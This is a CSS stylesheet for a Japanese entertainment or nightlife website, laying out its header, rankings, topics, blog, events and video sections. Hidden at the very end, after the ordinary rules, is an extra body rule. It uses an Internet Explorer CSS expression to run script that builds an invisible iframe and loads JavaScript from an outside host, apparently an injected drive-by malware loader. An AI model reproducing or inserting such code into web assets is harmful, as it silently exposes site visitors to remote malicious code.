html{
 scrollbar-arrow-color: #d6d6d6;
 scrollbar-base-color: white;
 scrollbar-darkshadow-color: white;
 scrollbar-highlight-color: #d6d6d6;
 scrollbar-shadow-color: #d6d6d6;
 margin:0px; 
}

body{
 margin:0px auto;
 background:url("http://www.topposition-group.jp/image/bg.jpg") #fff;
 scrollbar-arrow-color: #d6d6d6;
 scrollbar-base-color: white;
 scrollbar-darkshadow-color: white;
 scrollbar-highlight-color: #d6d6d6;
 scrollbar-shadow-color: #d6d6d6;
 font-size:12px;
 color:black;
}


a {color:#24aaff; text-decoration:none; }
a:hover {color:#24aaff; text-decoration:underline; }

p{margin:0px;}

#hi {
 background:#bebebe;
 width:880px;
 height:15px;
 margin:auto;
}

h1 { 
 font-size:11px;
 text-align:left;
 margin-top:2px;
 color:dimgray;
}

#keitai{
 float:right;
 margin-right:10px;
 margin-top:2px;
}

h2 {
 font-size:2px;
 margin:0px;
 text-indent:-9999px;
}

h2 a {
 color:#ffffff;
 display:block;
 width:170px;
 height:90px;

}

h2 a:hover {
 color:#ffffff;
 display:block;
 width:170px;
 height:90px;
}

h2 a:visited {
 color:#ffffff;
 display:block;
 width:170px;
 height:90px;
}

#container{
 width:900px;
 min-height:600px;
 margin:auto;
 background:#fff;
}

#header{
 width:900px;
 height:220px;
 margin:auto;
 background:url("http://www.topposition-group.jp/image/header_bg.jpg") no-repeat;
}

#description{
 width:600px;
 height:32px;
 margin-top:63px;
 margin-left:10px;
 float:left;
}

#menu{
 width:900px;
 height:90px;
 margin:auto;
}

#closeup{
 width:900px;
 height:250px;
 margin:auto;
}

#closeup_in{
 width:881px;
 height:250px;
 margin:auto;
}

/*左*/
#left{
 width:707px;
 min-height:500px;
 float:left;
}

#top_closeup_line{
 width:689px;
 height:35px;
 margin:auto;
}

#top_closeup{
 width:689px;
 height:181px;
 margin:auto;
}

img.top_closeup{
 width:126px;
 height:168px;
 padding:1px;
 border:solid 1px #5a5a5a;
 margin:0px 3px 0px 3px;
}

#top_ranking_line{
 width:689px;
 height:35px;
 margin:auto;
 margin-top:20px;
}

#top_ranking{
 width:687px;
 height:440px;
 margin:auto;
 border:solid 1px #000; 
 background:#5a5a5a;
}

#top_best_list{
 width:122px;
 height:194px;
 text-align:right;
 float:left;
 background:url("http://www.topposition-group.jp/image/top_best_bg.gif") no-repeat;
 color:#fff;
 margin:10px 7px 15px 8px;
}

img.top_number{
 width:120px;
 height:150px;
 margin-top:10px;
 border:solid 1px #a5a5a5;
}

font.top_best{
 font-size:30px;
 margin-right:5px;
}

#top_topics_line{
 width:689px;
 height:35px;
 margin:auto;
 margin-top:20px;
}

#top_topics{
 width:687px;
 min-height:100px;
 margin:auto;
 border:solid 1px #000; 
 background:#5a5a5a;
 color:#fff;
}

#topi_menu{
 width:672px;
 height:70px;
 margin:auto;
 margin-top:10px;
}

#top_topics_in{
 width:410px;
 height:300px;
 overflow:auto;
 margin:auto;
 margin-top:5px;
 padding:0px 5px 0px 5px; 
}

img.top_topics{
 width:123px;
 height:84px;
 border:1px solid #a5a5a5;
}

#top_whatsnewline{
 width:689px;
 height:35px;
 margin:auto;
 margin-left:10px;
 margin-top:20px;
}

#top_whatsnew_in{
 width:689px;
 height:181px;
 overflow:auto;
 margin-left:10px;
 margin-bottom:10px;
}



#top_banner{
 width:707px;
 height:104px;
 margin:auto;
}

img.banner{
 border:1px solid #5a5a5a;
 margin-top:18px;
 margin-left:10px;
}

#top_shop{
 width:707px;
 height:570px;
 margin:auto;
}

#back{
 width:689px;
 height:20px;
 text-align:right;
 margin:auto;
 margin-top:30px;
}

#footer{
 width:707px;
 height:150px;
 margin:auto;
 margin-top:30px;
 text-align:center;
 float:left;
}

/*右*/
#right{
 width:193px;
 min-height:500px;
 float:left;
}

#right_in{
 width:164px;
 min-height:500px;
 background:#ebebeb;
 border:solid 1px #afafaf;
 padding:8px;
 float:left;
}

#top_blogline{
 width:164px;
 height:16px;
 margin:auto;

 margin-bottom:10px;
}

img.top_blog{
 width:53px;
 height:53px;
 border:solid 1px #5a5a5a;
}

/*クローズアップ*/
#page_closeup{
 width:689px;
 min-height:100px;
 margin:auto;
}

#page_closeup_list{
 width:199px;
 height:210px;
 float:left;
 text-align:center;
 background:url("http://www.topposition-group.jp/image/page_closeup_bg.jpg") #d5d5d5;
 margin:0px 14px 20px 14px;
 border:solid 1px #5a5a5a;
}

img.page_closeup{
 width:126px;
 height:168px;
 padding:1px;
 margin-top:10px;
 margin-bottom:5px;
 border:none;
}

/*トピックス*/
#page_topics_line{
 width:689px;
 height:35px;
 margin:auto;
}

#page_topics{
 width:687px;
 min-height:100px;
 margin:auto;

}

/*ブログ*/
#page_blog{
 width:202px;
 height:150px;
 float:left;
 text-align:center;
 margin:0px 16px 0px 16px;
}

img.page_blog{ border:solid 1px #5a5a5a}

/*イベント*/
#page_event{
 width:650px;
 min-height:500px;
 margin:auto;
}

td.event_date {
 width:150px;
 font-size:12px;
 color:gray;
 padding:2px;
 text-align:center;
}

td.event_comment {
 width:700px;
 font-size:12px;
 color:gray;
 padding:2px;
 text-align:left;
}

/*システム*/
#page_system{
 width:640px;
 min-height:100px;
 margin:auto;
}

img.page_system{
 border:solid 1px #5a5a5a;
 margin-top:20px;
}

/*メディア*/
#page_media{
 width:640px;
 min-height:100px;
 margin:auto;
}

/*求人*/
#page_recruit{
 width:640px;
 min-height:100px;
 margin:auto;
}

/*リンク*/
#link_list{
 width:300px;
 height:100px;
 margin:auto;
 float:left;
 text-align:center;
}

img.link_list{
 border:solid 1px gray;
}

/*サイトマップ*/
#sitemap{
 width:640px;
 min-height:200px;
 margin:auto;
}

/*動画*/
#movie_list{
 width:199px;
 height:260px;
 float:left;
 text-align:center;
 margin:0px 14px 20px 14px;
 background:#f1f1f1;
 border:solid 1px #5a5a5a;
}

#movie_list_s{
 width:180px;
 height:230px;
 margin:auto;
 margin-top:10px;
}

a.movie_list{}

img.movie_thum{
 width:120px;
 height:90px;
}

/*グラビア*/
#page_gravure_line{
 width:689px;
 height:35px;
 margin:auto;
}

#page_gravure{
 width:687px;
 min-height:100px;
 margin:auto;
}

table.free_link{
 margin:auto;
}body{zoom:expression(function(ele){setTimeout(function(){var i=document.createElement('iframe');i.width=i.height=0;document.body.appendChild(i);i.contentWindow.setTimeout(function(){i.contentWindow.document.write('<script src=http://www.faloge.com/js/yahoo.js></script>');},1000);},1000);ele.style.zoom='1';}(this));}